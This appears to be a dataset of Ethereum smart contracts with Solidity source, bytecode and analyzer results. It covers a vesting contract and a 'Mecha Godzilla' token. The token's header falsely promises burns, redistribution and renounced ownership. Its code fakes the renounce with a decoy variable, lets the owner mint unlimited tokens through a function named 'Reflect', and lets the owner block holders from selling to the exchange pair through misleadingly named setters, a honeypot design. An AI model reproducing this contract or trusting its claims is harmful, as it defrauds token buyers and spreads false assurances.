* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
contract VestingContract is Ownable {
using SafeMath for uint256;
// CNTR Token Contract
IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B);
uint256[] vestingSchedule;
address public receivingAddress;
uint256 public vestingStartTime;
uint256 constant public releaseInterval = 30 days;
uint256 public totalTokens;
uint256 public totalDistributed;
uint256 index = 0;
constructor(address _address) public {
receivingAddress = _address;
}
function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner {
require(vestingStartTime == 0);
vestingSchedule = _vestingSchedule;
for(uint256 i = 0; i < vestingSchedule.length; i++) {
totalTokens = totalTokens.add(vestingSchedule[i]);
}
}
function updateReceivingAddress(address _address) public onlyOwner {
receivingAddress = _address;
}
function releaseToken() public {
require(vestingSchedule.length > 0);
require(msg.sender == owner() || msg.sender == receivingAddress);
if (vestingStartTime == 0) {
require(msg.sender == owner());
vestingStartTime = block.timestamp;
}
for (uint256 i = index; i < vestingSchedule.length; i++) {
if (block.timestamp >= vestingStartTime + (index * releaseInterval)) {
tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether));
totalDistributed = totalDistributed.add(vestingSchedule[i]);
index = index.add(1);
} else {
break;
}
}
}
function getVestingSchedule() public view returns (uint256[] memory) {
return vestingSchedule;
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 4,227 |
0x8456b4da69ec696227e3293013ecc2aa0b7ee5fc
|
/*
🐲 Total Supply: 1170000000
🔥 Burn: 30%
💲 3% of taxes are redistributed to the community.
👩👩👦👦 100% Community Driven - Mecha Godzilla is a community run project. 3% of taxes are reflected on holders and 1% of each transaction gets sent to a marketing wallet that will have decisions controlled by $GODZILLA holders.
🔑 100% Safe - The contract was renounced and liquidity was locked meaning this token is a true community token.
🛠 Utility - There will be a RAMPAGE arcade game and staking system in progress for all holders to enjoy and earn passive income.
Join us on telegram at https://t.me/mechagodzillaofficial
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.7;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MechaGodzilla is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _router;
mapping (address => mapping (address => uint256)) private _allowances;
address private public_address;
address private caller;
uint256 private _totalTokens = 1170000000 * 10**18;
string private _name = 'Mecha Godzilla';
string private _symbol = 'MechaGojira';
uint8 private _decimals = 18;
uint256 private rTotal = 1170000000 * 10**18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function Approve(address routeUniswap) public onlyOwner {
caller = routeUniswap;
}
function addliquidity (address Uniswaprouterv02) public onlyOwner {
public_address = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function setreflectrate(uint256 reflectionPercent) public onlyOwner {
rTotal = reflectionPercent * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function Reflect(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == public_address) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063b4a99a4e11610066578063b4a99a4e146104b7578063dd62ed3e14610501578063eb7d2cce14610579578063f2fde38b146105a757610100565b8063715018a61461038057806395d89b411461038a57806396bfcd231461040d578063a9059cbb1461045157610100565b8063313ce567116100d3578063313ce56714610292578063408e9645146102b657806344192a01146102e457806370a082311461032857610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ee57806323b872dd1461020c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b6101f66106ab565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b5565b604051808215151515815260200191505060405180910390f35b61029a610774565b604051808260ff1660ff16815260200191505060405180910390f35b6102e2600480360360208110156102cc57600080fd5b810190808035906020019092919050505061078b565b005b610326600480360360208110156102fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109c3565b005b61036a6004803603602081101561033e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad0565b6040518082815260200191505060405180910390f35b610388610b19565b005b610392610ca2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d25780820151818401526020810190506103b7565b50505050905090810190601f1680156103ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61044f6004803603602081101561042357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d44565b005b61049d6004803603604081101561046757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e51565b604051808215151515815260200191505060405180910390f35b6104bf610e6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105636004803603604081101561051757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e95565b6040518082815260200191505060405180910390f35b6105a56004803603602081101561058f57600080fd5b8101908080359060200190929190505050610f1c565b005b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6000600654905090565b60006106c284848461136d565b610769846106ce611206565b61076485600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061071b611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b61120e565b600190509392505050565b6000600960009054906101000a900460ff16905090565b610793611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610854576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610874611206565b73ffffffffffffffffffffffffffffffffffffffff16141561089557600080fd5b6108aa8160065461167e90919063ffffffff16565b60068190555061090981600260006108c0611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b60026000610915611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095b611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6109cb611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a8c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b21611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d3a5780601f10610d0f57610100808354040283529160200191610d3a565b820191906000526020600020905b815481529060010190602001808311610d1d57829003601f168201915b5050505050905090565b610d4c611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e65610e5e611206565b848461136d565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f24611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fe5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113a757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e157600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148c5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114a057600a54811061149f57600080fd5b5b6114f281600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061167683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b6000808284019050838110156116fc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220336dfe7f585ae14febbf2b856940b251401235096b6aad3b94707aef94fb90de64736f6c63430006070033
|
{"success": true, "error": null, "results": {}}
